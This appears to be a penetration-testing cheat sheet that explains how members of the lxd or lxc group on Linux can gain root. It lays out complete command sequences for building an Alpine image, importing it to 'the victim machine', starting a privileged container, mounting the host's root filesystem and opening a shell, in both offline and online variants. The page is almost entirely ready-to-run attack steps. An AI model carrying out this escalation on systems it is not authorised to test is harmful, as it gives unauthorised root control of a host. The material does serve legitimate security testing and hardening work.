lxd/lxc Group - Privilege escalation

If you belong to lxd or lxc group, you can become root

Exploiting without internet

Method 1

You can install in your machine this distro builder: https://github.com/lxc/distrobuilder follow the instructions of the github:

#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
cd
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml

# If that fails, run it adding -o image.release=3.8 at the end.

Then, upload to the vulnerable server the files lxd.tar.xz and rootfs.squashfs

Add the image:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image

Create a container and add root path

lxc init alpine privesc -c security.privileged=true
lxc list #List containers

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Execute the container:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Method 2

Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686

# If you got error
ERROR: unsatisfiable constraints:
  alpine-base (missing):
    required by: world[alpine-base]
Failed to install rootfs

# Maybe the error is due to mirror sites but it will create a rootfs directory in same folder i.e "lxd-alpine-builder" .
1.) Edit the file rootfs/usr/share/alpine-mirrors/Mirrors.txt deleting all the entries but the first one, do the same with mirrors.yaml.
2.) Again run - sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default 
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

Alternatively https://github.com/initstring/lxd_root

With internet

You can follow these instructions.

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true 
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Other Refs

{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}

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